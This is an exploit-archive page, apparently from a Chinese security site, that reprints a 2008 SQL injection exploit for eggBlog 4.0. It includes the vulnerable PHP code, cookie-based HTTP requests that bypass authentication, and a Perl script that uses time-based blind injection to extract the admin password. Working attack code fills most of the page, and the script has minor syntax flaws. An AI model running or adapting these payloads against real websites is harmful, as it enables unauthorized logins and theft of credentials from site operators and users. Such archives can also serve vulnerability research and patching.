首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
eggBlog 4.0 Password Retrieve Remote SQL Injection Exploit
来源:girex.altervista.org 作者:GiReX 发布时间:2008-04-02  
# Author: __GiReX__
# mySite: girex.altervista.org
# Date: 27/03/2008 - 1/04/2008 Added exploit for str0ke

# CMS: eggBlog 4.0
# Site: eggblog.net

# Bug: SQL Injection (cookie vars)
# Type:         1 - Admin/User Authentication Bypass

# Bug2: Blind SQL Injection (same vars-query)
# Type: Password retrieve exploit

# Var : $_COOKIE['email], $_COOKIE['password']
# Need: magic_quotes_gpc = Off

# File: index.php
require_once "_lib/global.php";
...
eb_pre();

# File: /_lib/globals.php
require_once '_lib/user.php';
...
function eb_pre() {
...
if(isset($_COOKIE['email']) && isset($_COOKIE['password']) && !isset($_SESSION['user_id'])) eb_login($_COOKIE['email'],$_COOKIE['password'],1);

# Let we see function eb_login

# File: /_lib/user.php
function eb_login($email,$password,$key) {
...
if($key==0) $password=md5($password);

# Our $key is set to 1 so the password will not cprypted

$sql="SELECT user_id FROM eb_users WHERE user_email=\"".$email."\" AND   md5(user_password)=\"".$password."\"";
$query=mysql_query($sql);

# I have no words, 2 vars not sanizated into a SELECT query

PoC 1:
GET [PATH]/index.php HTTP/1.1
Host: [HOST]
...
Cookie: email=@" OR "1; password=@" OR "1

# With this you will be authenticated with the fist record of table eb_user

PoC 2:
GET [PATH]/index.php HTTP/1.1
Host: [HOST]
...
Cookie: email=@" OR "1; password=@" OR "1" AND user_id="[VICTIM_USER_ID]

# For anybody you want

##############################################################################################################
# Start Blind SQL Injection / Password retrieve exploit      #
# NOTE: Password is in plain-text so take  a coffe...      #
##############################################################################################################
#!/usr/bin/perl -w

# EggBlog v4.0 Blind SQL Injection
# Password Retrieve Exploit
# Coded by __GiReX__

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
print "usage: perl $0 [host] [path]\n";
print "example: perl $0 localhost /eggblog/\n";
exit;
}

my $client = new LWP::UserAgent;
my @cset = (32..126, 0);
my ($i, $j, $hash) = (0, 1, undef);

my $host = ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .= $ARGV[1] unless not defined $ARGV[1];

banner();
check_vuln($host) or die "[-] Site not vulnerable\n";


while($i != $#cset)

   for($i = 0; $i <= $#cset; $i++)
   {
      my ($pre_time, $post_time) = time();

$rv = check_char($host, $cset[$i], $j);
$post_time = time();

info(chr($cset[$i]), $post_time - $pre_time, $hash);

if($post_time - $pre_time > 3 and $rv)
{
$hash .= chr($cset[$i]);
last;
}
   }

  $j++;
}

print "\n". (defined $hash) ?
      "[+] Admin password: ${hash} \n":
      "[-] Exploit mistake: please check benchmark and charset\n";

print "[+] Exploit terminated\n\n";



sub banner
{
   print "\n";
   print "[+] EggBlog v4.0 Blind SQL Injection\n";
   print "[+] Password Retrieve Exploit\n";
   print "[+] Coded by __GiReX__\n";
   print "\n";
}

sub check_vuln
{
  my ($target, $res) = @_;
    
     $get = new HTTP::Request(GET, $target);
     $get->header('Cookie' => 'email=-1" WHERE X#; password=aaaaaaa;');
     $res = $client->request($get);
    
       if($res->is_success)
       {
  return 1 if $res->content =~ /<b>Warning<\/b>:/;
       }
 
  return 0;
}

sub check_char
{
  my ($target, $char, $n, $res) = @_;
  
    $get->header(Cookie =>
'email=-1"+AND+'.
'CASE+WHEN'.
'((SELECT(ASCII(SUBSTRING(user_password,'.$n.',1)))FROM+eb_users+WHERE+user_id=1)='.$char.')'.
'THEN+benchmark(90000000,CHAR(0))+'.
'END#; '.
'password=dummy_psw');

    $res = $client->request($get);

return $res->is_success;
}

sub info
{
  my ($char, $delay, $hash) = @_;
    print STDOUT "[+] Admin password: ${hash}".$char."\r" unless not defined $hash;
    # print STDOUT "[+] Char: ${char} - Delay: ${delay}\r";
    $| = 1;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·EasyNews 40tr (SQL/XSS/LFI) Re
·ChilkatHttp ActiveX 2.3 Arbitr
·Real Player rmoc3260.dll Activ
·Nuked-Klan <= 1.7.6 Multiple V
·mod_jk2 v2.0.2 for Apache 2.0
·HP OpenView NNM 7.5.1 OVAS.exe
·Neat weblog 0.2 (articleId) Re
·Mcafee EPO 4.0 FrameworkServic
·mxBB Module mx_blogs 2.0.0-bet
·Novel eDirectory HTTP Denial o
·Visual Basic (vbe6.dll) Local
·XnView 1.92.1 Slideshow (FontN
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved